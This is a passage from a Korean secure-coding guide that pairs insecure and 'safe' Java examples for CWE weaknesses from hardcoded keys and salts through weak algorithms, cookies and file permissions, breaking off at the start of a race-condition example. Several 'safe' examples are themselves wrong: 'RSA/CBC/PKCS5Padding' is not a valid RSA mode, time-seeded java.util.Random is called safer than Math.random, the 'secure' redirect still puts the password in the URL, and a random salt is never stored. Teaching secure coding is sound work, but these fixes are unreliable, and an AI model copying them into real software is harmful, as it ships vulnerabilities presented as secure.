- 암호화되었더라도 패스워드를 상수의 형태로 프로그램 내부에 저장하여 사용하면 안된다. 대칭형 알고리즘으로 AES, ARIA, SEED, 3DES 등의 사용이 권고되며, 비대칭형 알고리즘으로 RSA 사용시 키는 1024이상을 사용한다. 해쉬 함수로 MD4, MD5, SHA1은 사용하지 말아야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:      ……
2:      private Connection con;
3:
4:      public String encryptString (String usr) {
5:          Stringc seed = "68af404b513073584c4b6f22b6c63e6b";
6:
7:          try {
8:              // 상수로 정의된 암호화키를 이용하여 encrypt를 수행한다.
9:              SecretKeySpec skeySpec = new SecretKeySpec(seed.getBytes(), "AES");
10:
11:             // 해당 암호화키 기반의 암호화 또는 복호화 업무 수행
12:             ..
13:         } catch (SQLException e) {
14:             ……
15:         }
16:         return con;
17:     }
18: }
```

암호화에 사용되는 키를 상수의 형태로 코드 내부에서 사용하는 것은 프로그램 소스가 노출되는 경우 암호화 키도 동시에 노출되는 취약점을 가지게 된다.

■ 안전한 코드의 예 - JAVA

```
1:      ……
2:      private Connection con;
3:
4:      public String encryptString (String usr) {
5:          Stringc seed = null;
6:
7:          try {
8:              // 암호화 키를 외부환경에서 읽음.
9:               seed = getPassword("./password.ini");
10:              // 암호화된 암호화 키를 복호화함.
11:              seed = decrypt(seed);
12:             // 상수로 정의된 암호화키를 이용하여 encrypt를 수행한다.
13:             // use key coss2
14:             SecretKeySpec skeySpec = new SecretKeySpec(seed.getBytes(), "AES");
15:
16:             // 해당 암호화키 기반의 암호화 또는 복호화 업무 수행
17:             ..
18:         } catch (SQLException e) {
19:             ……
20:         }
21:         return con;
22:     }
23: }
24:
```

암호화된 패스워드를 복호화하기 위하여 사용되는 암호화 키도 코드 내부에 상수형태로 정의해서 사용하면 안된다.

라. 참고 문헌

[1] CWE-321 하드코드된 암호화키 사용 - http://cwe.mitre.org/data/definitions/321.html

15. 취약한 암호화: 적절하지 못한 RSA 패딩 (Weak Encryption: Inadequate RSA Padding)

가. 정의

OAEP 패딩을 사용하지 않고 RSA 알고리즘을 이용하는 것은 위험하다. RSA 알고리즘은 실제 사용시 패딩 기법과 함께 사용하는 것이 일반적이다. 패딩 기법을 사용함으로써 패딩이 없는 RSA 알고리즘의 취약점을 이용하는 공격을 막을 수 있게 된다.

나. 안전한 코딩기법

- RSA 알고리즘 사용시 패딩없이 사용("RSA/NONE/NoPadding")하지 말고, 암호화 알고리즘에 적합한 패딩과 함께 사용해야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public Cipher getCipher() {
3:      Cipher rsa = null;
4:
5:      try {
6:          // RSA 사용시 NoPadding 사용
7:          rsa = javax.crypto.Cipher.getInstance("RSA/NONE/NoPadding");
8:      } catch (java.security.NoSuchAlgorithmException e) {    ……    }
9:      return rsa;
10: }
```

위 예제는 충분한 패딩없이 RSA 알고리즘을 사용하여 프로그램에 취약점하게 만드는 경우이다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  public Cipher getCipher() {
3:      Cipher rsa = null;
4:
5:      try {
6:          /* 이 프로그램은 충분한 padding의 사용없이 RSA를 사용한다. */
7:          rsa =   javax.crypto.Cipher.getInstance("RSA/CBC/PKCS5Padding");
8:      } catch (java.security.NoSuchAlgorithmException e) {    ……    }
9:      return rsa;
10: }
```

사용하는 알고리즘에 따라 알려져 있는 적절한 패딩방식을 사용해야 한다. 예를 들어 RSA 알고리즘을 사용하는 경우에는 PKCS1 Padding 방식이나 PKCS5 Padding 방식을 사용하는 것이 바람직하다.

라. 참고 문헌

[1] CWE-325 필수 암호화 단계 누락 - http://cwe.mitre.org/data/definitions/325.html
[2] OWASP Top 10 2010 - (OWASP 2010) A7 Insecure Cryptographic Storage

16. 취약한 암호화 해쉬함수: 하드코드된 솔트 (Weak Cryptographic Hash: Hardcoded Salt)

가. 정의

코드에 고정된 솔트값을 사용하는 것은 프로젝트의 모든 개발자가 그 값을 볼 수 있으며, 추후 수정이 매우 어렵다는 점에서 시스템의 취약점으로 작용할 수 있다. 만약 공격자가 솔트값을 알게 된다면, 해당 응용프로그램의 rainbow 테이블을 작성하여 해쉬 결과값을 역으로 계산할 수 있다.

나. 안전한 코딩기법

- Salt(혹은 nonce)값으로는 예측하기 어려운 난수를 사용하며, 특정한 값의 재사용은 금지해야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public byte[] encrypt(byte[] msg) {
3:      // 소스가  노출되었을 때 사용자가 값을 알수 있다.
4:      final byte badsalt = (byte) 100;
5:      byte[] rslt = null;
6:
7:      try {
8:          MessageDigest md = MessageDigest.getInstance("SHA-256");
9:          // Salt 값을 상수로 받는다.
10:         md.update(badsalt);
11:         rslt = md.digest(msg);
12:     } catch (NoSuchAlgorithmException e) {
13:         System.out.println("Exception:  " + e);
14:     }
15:     return rslt;
16: }
```

위 예제는 암호화된 해쉬함수를 사용할 때, 상수로 정의된 salt를 사용함으로써 취약점을 야기하는 경우이다.

■ 안전한 코드의 예 - JAVA

```
1:      ……
2:      public byte[] encrypt(byte[] msg) {
3:              byte[] rslt = null;
4:
5:              try {
6:                      SecureRandom prng = SecureRandom.getInstance("SHA256PRNG");
7:                      String randomNum = new Integer( prng.nextInt() ).toString();
8:                      MessageDigest md = MessageDigest.getInstance("SHA-256");
9:
10:                     // 랜덤 함수 등을 사용하여 임의의 숫자를 생성해야 한다.
11:                     md.update(randomNum.getBytes());
12:                     rslt = md.digest(msg);
13:             } catch (NoSuchAlgorithmException e) {
14:                     System.out.println("Exception:    " + e);
15:             }
16:             return rslt;
17:     }
18: }
```

Salt(혹은 nonce)값으로는 예측하기 어려운 난수를 사용해야 하므로, 예측이 어려운 salt 값을 생성하는 로직을 별도로 구현하여 사용하여야 한다.

라. 참고 문헌

[1] CWE-326 부적당한 암호화 길이 - http://cwe.mitre.org/data/definitions/326.html

[2] OWASP Top 10 2010 - (OWASP 2010) A7 Insecure Cryptographic Storage

17. 취약한 암호화 알고리즘의 사용 (Use of a Broken or Riscky Cryptographic Algorithm)

가. 정의

보안적으로 취약하거나 위험한 암호화 알고리즘을 사용해서는 안된다. 표준화되지 암호화 알고리즘을 사용하는 것은 공격자가 알고리즘을 분석하여 무력화시킬 수 있는 가능성을 높일 수도 있다. 몇몇 오래된 암호화 알고리즘의 경우는 컴퓨터의 성능이 향상됨에 따라 취약해지기도 해서, 예전에는 해독하는데 몇 십억년이 걸리던 알고리즘이 며칠이나 몇 시간내에 해독되기도 한다. RC2, RC4, RC5, RC6, MD4, MD5, SHA1, DES 알고리즘이 여기에 해당된다.

나. 안전한 코딩기법

- AES처럼 보다 강력한 암호화 알고리즘을 사용하는 것이 바람직하다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:      ……
2:      public byte[] encrypt(byte[] msg, Key k) {
3:          byte[] rslt = null;
4:
5:          try {
6:              // DES등의 낮은 보안수준의 알고리즘을 사용하는 것은 안전하지 않다.
7:              Cipher c = Cipher.getInstance("DES");
8:              c.init(Cipher.ENCRYPT_MODE,  k);
9:              rslt = c.update(msg);
10:         } catch (InvalidKeyException e) {
11:             ……
12:         }
13:         return rslt;
14:     }
15: }
```

암호화 알고리즘 중에서 DES 알고리즘을 사용하는 것은 안전하지 않다.

■ 안전한 코드의 예 - JAVA

```
1:      ……
2:       public byte[] encrypt(byte[] msg, Key k) {
3:            byte[] rslt = null;
4:
5:            try {
6:           // 낮은 보안수준의 DES 알고리즘을 높은 보안수준의 AES 알고리즘으로 대체한다.
7:                 Cipher c =  Cipher.getInstance("AES/CBC/PKCS5Padding");
8:                 c.init(Cipher.ENCRYPT_MODE,    k);
9:                 rslt = c.update(msg);
10:             } catch (InvalidKeyException e) {
11:                ……
12:             }
13:             return rslt;
14:       }
15:  }
```

취약하다고 알려진 알고리즘 대신 AES 알고리즘을 최소한 128비트 길이의 키를 이용하여 사용하는 것이 바람직하다.

라. 참고 문헌

[1] CWE-327 취약한 암호화 알고리즘의 사용 - http://cwe.mitre.org/data/definitions/327.html

[2] OWASP Top 10 2010 - (OWASP 2010) A7 Insecure Cryptographic Storage

[3] SANS Top 25 2010 - (SANS 2010) Porus Defense - CWE ID 327 Use of a Broken or Risky Cryptographic Algorithm

[4] Bruce Schneier. "Applied Cryptography". John Wiley &Sons. 1996.

18. 적절하지 않은 난수값의 사용(Use of Insufficiently Random Values)

가. 정의

예측 가능한 난수를 사용하는 것은 시스템에 취약점을 야기시킨다. 예측 불가능한 숫자가 필요한 상황에서 예측 가능한 난수를 사용한다면, 공격자는 SW에서 생성되는 다음 숫자를 예상하여 시스템을 공격하는 것이 가능하다.

나. 안전한 코딩기법

- 난수발생기에서 seed를 사용하는 경우에는 예측하기 어려운 방법으로 변경하여 사용하는 것이 바람직하다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:      ……
2:      public double roledice() {
3:          return Math.random();
4:      }
5:  }
```

java.lang.Math 클래스의 random() 메소드는 seed를 재설정할 수 없기 때문에 위험하다.

■ 안전한 코드의 예 - JAVA

```
1:  import java.util.Random;
2:  import java.util.Date;
3:  ……
4:      public int roledice() {
5:          Random r = new Random();
6:          // setSeed() 메소드를 사용해서 r을 예측 불가능한 long타입으로 설정한다.
7:          r.setSeed(new Date().getTime());
8:          // 난수 생성
9:          return (r.nextInt()%6) + 1;
10:     }
11: }
```

java.util.Random 클래스는 seed를 재설정하지 않아도 매번 다른 난수를 생성한다. 따라서 Random 클래스를 사용하는 것이 보다 안전하다.

라. 참고 문헌

[1] CWE-330 적절하지 않은 난수값의 사용 - http://cwe.mitre.org/data/definitions/330.html

[2] SANS Top 25 2009 - (SANS 2009) Porus Defense - CWE ID 330 Use of Insufficiently Random Values

[3] J. Viega and G. McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 2002.

19. 패스워드 관리: 리다이렉트시 패스워드 (Password Management: Password in Redirect)

가. 정의

HTTP 리다이렉트는 웹브라우저를 통해 HTTP GET 명령어를 발생시킨다. 이 경우 주소창에 매개변수의 형태로 전송내용이 노출되므로, 패스워드를 이 방법을 통해서 보내는 것은 위험하다. 이와 함께 웹서버가 이 행위를 주소와 함께 로그에 남기고, 웹프록시는 이 페이지를 캐쉬하므로, 사용자가 전송한 패스워드가 시스템의 많은 부분에 남게 된다.

나. 안전한 코딩기법

- 자바 Servelet에서 sendRedirect 메소드를 통해서는 패스워드 등 보안에 민감한 보내서는 안된다. 다른 페이지로 보안에 민감한 정보를 보낼 때는 GET 방식이 아닌 POST 방식으로 파라미터를 전달해야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public void redirect(ServletRequest r, HttpServletResponse response)
3:                                                          throws IOException {
4:      String usr = r.getParameter("username");
5:      String pass = r.getParameter("password");
6:
7:        // HTTP 리다이렉트는 웹브라우저는 통해 HTTP GET request를 발생시킨다.
8:      response.sendRedirect("j_security_check?j_username=" + usr + "&j_password=" + pass);
9:  }
```

위 예제는 HTTP 요청(Request)을 GET 방식으로 재전송함으로써 프로그램을 취약하게 만드는 경우이다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  public void redirect(HttpServletRequest request, HttpServletResponse response)
3:                                                          throws IOException {
4:      request.getSession().invalidate();
5:      String usr = request.getParameter("username");
6:      String pass = request.getParameter("password");
7:
8:      // 패스워드의 유효성을 점검한다.
9:      if ( usr == null || "".equals(usr)    || pass == null || "".equals(pass) ) return;
10:     if ( !pass.matches("") && pass.indexOf("@!#") > 4 && pass.length() > 8 ) {
11:             ……
12:     }
13:     // POST 방식으로 페이지를 넘겨야 한다.
14:     String send = "j_security_check?j_username=" + usr + "&j_password=" + pass;
15:         response.encodeRedirectURL(send);
16:  }
```

다른 페이지로 보안에 민감한 정보를 보낼 때는 GET 방식이 아닌 POST 방식으로 파라미터를 전달해야 한다.

라. 참고 문헌

[1] CWE-359 개인정보 침해 - http://cwe.mitre.org/data/definitions/359.html
[2] OWASP Top 10 2010 - (OWASP 2010) A7 Insecure Cryptographic Storage

20. 취약한 패스워드 요구조건(Weak Password Requirements)

가. 정의

사용자에게 강한 패스워드를 요구하지 않으면, 결국 공격자가 사용자 계정을 뚫기 쉽게 만들며, 사용자 계정을 보호하기 힘들다.

나. 안전한 코딩기법

- 패스워드에 대한 검증을 통해 보안성이 높은 문자열을 입력하도록 유도한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:   public void doPost(HttpServletRequest request, HttpServletResponse response)
2:                   throws IOException, ServletException {
3:
4:       try {
5:               String url = "DBServer";
6:               String usr = "Scott";
7:
8:               // passwd에 대한 검증이 없음
9:               String passwd = request.getParameter("passwd");
10:              Connection con = DriverManager.getConnection(url, usr, passwd);
11:
12:              con.close();
13:      } catch (SQLException e) {
14:              System.err.println("...");
15:      }
16:  }
```

신뢰할 수 없는 외부입력으로부터 할당된 변수(passwd)가 검증 과정없이 패스워드로 사용되는 문장이다.

■ 안전한 코드의 예 - JAVA

```
1:   private static final String CONNECT_STRING = "jdbc:ocl:orcl";
2:
3:   public void doPost(HttpServletRequest request, HttpServletResponse response)
4:                   throws IOException, ServletException {
5:       try {
6:               request.getSession().invalidate();
7:               String passwd = request.getParameter("passwd");
8:
9:               // passwd에 대한 검증
10:              if (passwd == null || "".equals(passwd)) return;
```

```
11:
12:             // 패스워드 조합 규칙을 검사한 후, 위배될 경우 재입력을 요구
13:             if (Password.validate(passwd) == false) return;
14:
15:             InitialContext ctx = new InitialContext();
16:             DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
17:             Connection con = datasource.getConnection();
18:
19:             con.close();
20:         } catch (SQLException e) {
21:                 System.err.println("...");
22:         } catch (NamingException e) {
23:                 System.err.println("...");
24:         }
25:     }
```

패스워드(passwd) 조합 규칙(예: 세가지 종류 이상의 문자구성으로 8자리 이상의 길이로 구성된 문자열)을 검사한 후, 위배될 경우 다른 패스워드를 사용하도록 유도한다.

라. 참고 문헌

[1] CWE-521 취약한 패스워드 요구조건 - http://cwe.mitre.org/data/definitions/521.html

[2] OWASP Top 10 2010 A3 Broken Authentication Session Management
http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

21. 쿠키보안: 영속적인 쿠키(Cookie Security: Persistent Cookie)

가. 정의

보안상 민감한 데이터를 영속적인 쿠키에 저장하는 것은 시스템 보안을 취약하게 만든다. 대부분의 웹 응용프로그램에서 쿠키는 메모리에 상주하며, 브라우저의 실행이 종료되면 사라진다. 프로그래머가 원하는 경우, 브라우저 세션에 관계없이 계속적으로 지속되도록 설정할 수 있으며, 이것은 디스크에 기록되고 다음 브라우저 세션이 시작되었을 때 메모리에 로드된다. 만약 개인 정보 등의 이런 형태의 영속적인 쿠키에 저장된다면, 공격자는 쿠키에 접근할 수 있는 보다 많은 기회를 가지게 되며, 이는 시스템을 취약하게 만든다.

나. 안전한 코딩기법

- 쿠키의 만료시간은 세션이 지속되는 시간과 관련하여 최소한으로 설정해야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public void makeCookie(ServletRequest request) {
3:      String maxAge = request.getParameter("maxAge");
4:      if (maxAge.matches("[0-9]+")) {
5:          String sessionID = request.getParameter("sesionID");
6:          if (sessionID.matches("[A-Z=0-9a-z]+")) {
7:              Cookie c = new Cookie("sessionID", sessionID);
8:              // 외부 입력이 쿠키 유효시한 설정에 그대로 사용 되었다.
9:              c.setMaxAge(Integer.parseInt(maxAge));
10:         }
11:     ……
12: }
```

javax.servlet.http.Cookie.setMaxAge 메소드 호출에 외부의 입력이 쿠키의 유효시한 설정에 그대로 사용되어 프로그램의 취약점을 야기하는 경우이다.

■ 안전한 코드의 예 - JAVA

```
1:      ……
2:   public void makeCookie(ServletRequest request) {
3:      String maxAge = request.getParameter("maxAge");
4:
5:      if (maxAge == null || "".equals(maxAge)) return;
6:      if (maxAge.matches("[0-9]+")) {
7:            String sessionID = request.getParameter("sesionID");
8:            if (sessionID == null || "".equals(sessionID)) return;
9:            if (sessionID.matches("[A-Z=0-9a-z]+")) {
10:                  Cookie c = new Cookie("sessionID", sessionID);
11:                  // 쿠키 유효시한의 최대값을 설정해서, 그 아래 값으로 조정한다.
12:                  int t = Integer.parseInt(maxAge);
13:                  if (t > 3600) {
14:                        t = 3600;
15:                  }
16:                  c.setMaxAge(t);
17:            }
18:   ……
19:   }
```

사용자가 요청한 값으로 쿠키의 유효시한을 설정하기 전에 사용자 요청을 검증하는 로직을 별도로 작성하여, 메소드 호출 전에 호출한다.

라. 참고 문헌

[1] CWE-539 지속성 쿠키를 통한 정보 누출 - http://cwe.mitre.org/data/definitions/539.html

[2] OWASP Top 10 2010 - (OWASP 2010) A7 Insecure Cryptographic Storage

22. 같은 포트번호로의 다중 연결(Multiple Binds to the Same Port)

가. 정의

하나의 포트에 다수의 소켓이 연결되는 것을 허용하는 경우, 주어진 포트에서 수행되는 서비스로 전달되는 패킷이 도난당하거나 혹은 공격자가 서비스를 도용할 수 있다.

나. 안전한 코딩기법

- 패킷 스니핑 공격에 노출될 수 있으므로 UDP 프로토콜에 하나의 포트번호에 여러 개의 서버측 소켓을 바인딩해서는 안된다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:      ……
2:      final int INPORT = 1711;
3:      void foo ()  {
4:          try {
5:              java.net.DatagramSocket socket = new java.net.DatagramSocket(INPORT);
6:              socket.setReuseAddress(true);
7:          } catch (SocketException e) { ……  }
8:      }
9:  }
```

하나의 포트 번호에 여러 개의 소켓이 바인딩되는 것을 허용함으로써 패킷 스니핑 공격에 노출될 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  final int INPORT = 1711;
3:  void foo ()  {
4:      try {
5:          java.net.DatagramSocket socket = new java.net.DatagramSocket(INPORT);
6:          socket.setReuseAddress(false);
7:      } catch (SocketException e) { …… }
8:  }
```

프로토콜에 상관없이 포트의 재사용 옵션을 설정하지 않아야 한다.

라. 참고 문헌

[1] CWE-605 같은 포트번호로의 다중 연결 - http://cwe.mitre.org/data/definitions/605.html

23. HTTPS 세션내에 보안속성없는 민감한 쿠키 (Sensitive Cookie in HTTPS Session without Secure Attribute)

가. 정의

HTTPS로만 서비스하는 경우 모든 정보가 암호화 되어 안전하게 전송된다고 생각한다. 그러나 보안에 민감한 데이터를 브라우저 쿠키에 저장할 때 보안 속성을 세팅하지 않으면 공격자에게 단순한 텍스트의 형태로 노출될 수 있다.

나. 안전한 코딩기법

- HTTPS로만 서비스하는 경우 브라우저 쿠키에 데이터를 저장할 때 반드시 Cookie 객체의 setSecure(true) 메소드를 호출하여야 한다.
- 주의 : 한 사이트(도메인)에서 HTTP나 HTTP와 HTTPS를 함께 사용하는 경우 setSecure 메소드를 호출하면 브라우저 쿠키의 데이터가 서버에 전송되지 않아 장애가 발생할 수 있다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  private final String ACCOUNT_ID = "account";
3:
4:  public void setupCookies(ServletRequest r,   HttpServletResponse response)  {
5:      String acctID =    r.getParameter("accountID");
6:            // 보안속성 설정되지 않은   쿠키
7:      Cookie c = new Cookie(ACCOUNT_ID,   acctID);
8:      response.addCookie(c);
9:  }
```

HTTPS로만 서비스하는 경우 민감한 정보를 가진 쿠키를 전송하는 과정에서, 보안 속성을 설정하지 않으면 공격자에게 정보가 노출될 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:    ……
2:    private final String ACCOUNT_ID = "account";
3:
4:    public void setupCookies(ServletRequest r,    HttpServletResponse response)  {
5:          String acctID =    r.getParameter("accountID");
6:          // 계정 유효성 점검
7:          if (acctID == null || "".equals(acctID)) return;
8:          String filtered_ID = acctID.replaceAll("\r", "");
9:
10:         Cookie c = new Cookie(ACCOUNT_ID, filtered_ID);
11:         // 민감한 정보를 가진 쿠키를 전송할때에는 보안 속성을 설정하여야 한다.
12:          c.setSecure(true);
13:         response.addCookie(c);
14:   }
```

HTTPS로만 서비스하는 경우 민감한 정보를 가진 쿠키를 사용할 경우에는 반드시 Cookie 객체의 setSecure(true)를 호출하여야 한다.

라. 참고 문헌

[1] CWE-614 HTTPS 세션내에 보안속성없는 민감한 쿠키 - http://cwe.mitre.org/data/definitions/614.html

[2] OWASP Top 10 2010 - (OWASP 2010) A9 Insufficient Transport Layer Protection

24. 주석문 안에 포함된 패스워드(Password in Comment)

가. 정의

패스워드를 주석문에 넣어두면 시스템 보안이 훼손될 수 있다. SW 개발자가 편의를 위해서 주석문에 패스워드를 적어둔 경우, SW가 완성된 후에는 그것을 제거하는 것이 매우 어렵게 된다. 또한 공격자가 소스코드에 접근할 수 있거나, 혹은 역어셈블러를 사용하여 주석문의 내용을 볼 수 있다면 아주 쉽게 시스템에 침입할 수 있다.

나. 안전한 코딩기법

- 개발시에 주석 부분에 남겨놓은 패스워드 및 보안에 관련된 내용은 개발이 끝난 후에는 반드시 제거해야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  // Password for administrator is "tiger."<-주석에 패스워드가 적혀있다.
3:  public boolean DBConnect() {
4:      String url = "DBServer";
5:      String password = "tiger";
6:      Connection con = null;
7:
8:      try {
9:          con = DriverManager.getConnection(url, "scott", password);
10:     } catch (SQLException e) {
11:         ……
12: }
```

위 예제는 디버깅 등의 목적으로 사용자 이름과 패스워드를 주석문 안에 서술하고 제대로 지우지 않아서 취약점이 발생한 경우이다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  // 디버깅 등의 용도로 소스 주석에 적어놓은 패스워드는 삭제해야 한다.
3:  public Connection DBConnect(String id, String   password) {
4:      String url = "DBServer";
5:      Connection conn = null;
6:
7:      try {
8:          String CONNECT_STRING = url + ":" + id + ":" + password;
9:          InitialContext ctx = new InitialContext();
10:         DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
11:         conn = datasource.getConnection();
12:     } catch (SQLException e) {    ……    }
13:     return conn;
14: }
```

프로그램 개발시에 주석문 등에 남겨놓은 사용자 계정이나 패스워드 등의 정보는 개발 완료시에 확실하게 삭제하여야 한다.

라. 참고 문헌

[1] CWE-615 주석을 통한 정보 누출 - http://cwe.mitre.org/data/definitions/615.html

[2] OWASP Top 10 2010 - (OWASP 2010) A7 Insecure Cryptographic Storage

[3] Web Application Security Consortium 24 + 2 - (WASC 24 + 2) Information Leakage

25. 중요한 자원에 대한 잘못된 권한허용 (Incorrect Permission Assignment for Critical Resource)

가. 정의

SW가 중요한 보안관련 자원에 대하여 읽기 또는 수정하기 권한을 의도하지 않게 허가할 경우, 권한을 갖지 않은 사용자가 해당자원을 사용하게 된다.

나. 안전한 코딩기법

- 설정파일, 실행파일, 라이브러리 등은 SW 관리자에 의해서만 읽고 쓰기가 가능하도록 설정한다.
- 설정파일과 같이 중요한 자원을 사용하는 경우, 허가받지 않은 사용자가 중요한 자원에 접근 가능한지 검사한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  // 파일 권한 : rw-rw-rw-, 디렉터리 권한 : rwxrwxrwx
2:  String cmd = "umask 0";
3:  File file = new File("/home/report/report.txt");
4:  ...
5:  Runtime.getRuntime().exec(cmd);
```

JAVA 런타임 API를 이용하여 파일을 생성할 때 가장 많은 권한을 허가하는 형태로 umask를 사용하고 있어, 모든 사용자가 읽기/쓰기 권한을 갖게 된다.

■ 안전한 코드의 예 - JAVA

```
1:  // 파일 권한 : rw-------, 디렉터리 권한 : rwx------
2:  String cmd = "umask 77";
3:  File file = new File("/home/report/report.txt");
4:  ...
5:  Runtime.getRuntime().exec(cmd);
```

파일에 대한 설정을 가장 제한이 많도록, 즉 사용자를 제외하고는 읽기/쓰기가 가능하지 않도록 umask를 설정하는 것이 필요하다.

라. 참고 문헌

[1] CWE-732 중요한 자원에 대한 잘못된 권한허용 - http://cwe.mitre.org/data/definitions/732.html
CWE-276 부정확한 초기설정 허가 - http://cwe.mitre.org/data/definitions/276.html
CWE-277 불안전한 계승된 허가 - http://cwe.mitre.org/data/definitions/277.html
CWE-278 불안전한 보존 계승된 허가 - http://cwe.mitre.org/data/definitions/278.html
CWE-279 불안전한 실행-할당 허가 - http://cwe.mitre.org/data/definitions/279.html
CWE-281 부적절한 허가보존 - http://cwe.mitre.org/data/definitions/281.html
CWE-285 부적절한 인가 - http://cwe.mitre.org/data/definitions/281.html
[2] CWE/SANS Top 25 Most Dangerous Software Errors, http://cwe.mitre.org/top25/

제4절 시간 및 상태

시간과 상태에 대한 취약점이란 프로그램의 동작 과정에서 시간적 개념을 포함한 개념(프로세스 혹은 스레드 등)이나 시스템 상태에 대한 정보(자원 잠금이나 세션 정보)에 관련된 취약점을 말한다. 이러한 취약점에 속하는 것들로는 데드락(dead lock)이나, 자원에 대한 경쟁조건, 또는 세션 고착 등을 들 수 있다.

1. 경쟁 조건: 정적 데이터베이스 연결 (Race Condition: Static Database Connection(dbconn))

가. 정의

정적 필드에 저장된 DB 연결은 스레드 사이에 공유되지만, 트랜잭션 리소스 객체는 동시에 하나의 트랜잭션에만 연결될 수 있어서 오류가 발생할 수 있다.

나. 안전한 코딩기법

- 정적 필드에 저장된 DB 연결은 스레드 사이에 공유되어 경쟁 조건(race condition)을 유발할 수 있으므로 DB 연결을 정적 필드에 저장하면 안 된다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  // DB 연결 객체가 정적 필드에 저장되어 에러를 유발할 수 있다.
3:  private static Connection conn;
4:  private static final String CONNECT_STRING =    "jdbc:ocl:orcl";
5:
6:  public Connection dbConnection(String url, String    user, String pw) {
7:      InitialContext ctx;
8:      try {
9:              ctx = new InitialContext();
10:             DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
11:             conn = datasource.getConnection();
12:     } catch (NamingException e) {     ……     }
13:     return conn;
14:  }
15:  ……
```

위 예제와 같이 DB 연결 객체를 정적 필드에 저장하면 경쟁 조건(race condition)을 유발할 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  // DB 연결 객체는 정적 필드에 저장하지 않는다.
3:  private Connection conn;
4:  private static final String CONNECT_STRING = "jdbc:ocl:orcl";
5:
6:  public Connection dbConnection() {
7:      InitialContext ctx;
8:      try {
9:              ctx = new InitialContext();
10:             DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
11:             conn = datasource.getConnection();
12:     } catch (NamingException e) {     ……     }
13:     return conn;
14:  }
15:  ……
```

경쟁 조건(Race condition)을 예방하기 위해 DB 연결 객체는 동적 필드에 저장한다.

라. 참고 문헌

[1] CWE-362 경쟁 상태 - http://cwe.mitre.org/data/definitions/362.html

[2] SANS Top 25 2010 - (SANS 2010) Insecure Interaction - CWE ID 362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

[3] Java 2 Platform Enterprise Edition Specification, v1.4, Sun Microsystems

2. 경쟁 조건: 싱글톤 멤버 필드(Race Condition: Singleton Member Field)

가. 정의

서블릿(Servlet)의 멤버 필드는 다른 스레드와 공유될 수 있기 때문에, 서블릿 멤버 필드에 저장된 값은 다른 사용자에게 노출될 수 있다.

나. 안전한 코딩기법

- 사용자 데이터를 서블릿의 필드에 저장하면 데이터에 대한 경쟁 조건(race condition)을 야기하여, 사용자가 다른 사용자의 데이터를 볼 수 있다. 따라서, 사용자 입력 데이터를 서블릿의 필드에 저장하지 말아야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  public class U9404 extends javax.servlet.http.HttpServlet {
2:      // 파라미터의 매개변수값이 전역변수로 할당되어서 다른 사용자의 정보를 볼 수 있다.
3:      private String name;
4:
5:      protected void doPost(HttpServletRequest req, HttpServletResponse res)
6:                                                  throws ServletException, IOException {
7:          name = req.getParameter("name");
8:      ……
```

위의 예제는 요청 매개변수의 값을 필드에 저장한 후, 출력 스트림으로 보낸다. 이것은 단일 사용자 환경에서는 올바르게 동작하지만, 2명의 사용자가 거의 동시에 서블릿에 접근하면 다른 사용자의 정보를 볼 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  public class S9404 extends javax.servlet.http.HttpServlet {
2:      // private String name; <- 멤버 필드를 사용하지 않는다.
3:      protected void doPost(HttpServletRequest req,   HttpServletResponse res)
9:                                                      throws ServletException, IOException {
4:          // 파라미터의 매개변수를 지역 변수에 할당한다.
5:          String name = req.getParameter("name");
6:          if (name == null ||    "".equals(name)) return; //name = "user";
7:      ……
```

요청 매개변수의 값을 필드 대신에 지역변수에 저장한다.

라. 참고 문헌

[1] CWE-362 경쟁 상태 - http://cwe.mitre.org/data/definitions/362.html

[2] SANS Top 25 2010 - (SANS 2010) Insecure Interaction - CWE ID 362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

[3] The Java Servlet Specification, Sun Microsystems

3. 경쟁 조건: 검사시점과 사용시점 (Time-of-check Time-of-use (TOCTOU) Race Condition)

가. 정의

병렬 실행 환경의 응용프로그램에서는 자원을 사용하기 전에 자원의 상태를 검사한다. 그러나 자원을 사용하는 시점에 자원의 상태가 변하는 경우가 있다. 이것으로 인해 프로그램에 여러 가지 문제, 즉 교착 상태, 경쟁 조건 및 기타 동기화 오류 등이 발생할 수 있다.

나. 안전한 코딩기법

- 공유자원(예: 파일)을 여러 스레드가 접근하여 사용할 경우, 동기화 구문(synchronized)을 이용하여 한 번에 하나의 스레드만 접근 가능하도록 프로그램을 작성하여야 한다.
- 성능에 미치는 영향을 최소화하기 위해 임계코드 주변만을 동기화 구문으로 감싼다.

※ 다중쓰레드와 공유변수를 사용할 때는 thread safe 함수만을 사용한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  class FileMgmtThread extends Thread {
2:
3:      private String manageType = "";
4:
5:      public FileMgmtThread (String type) {
6:          manageType = type;
7:      }
8:
9:      public void run() {
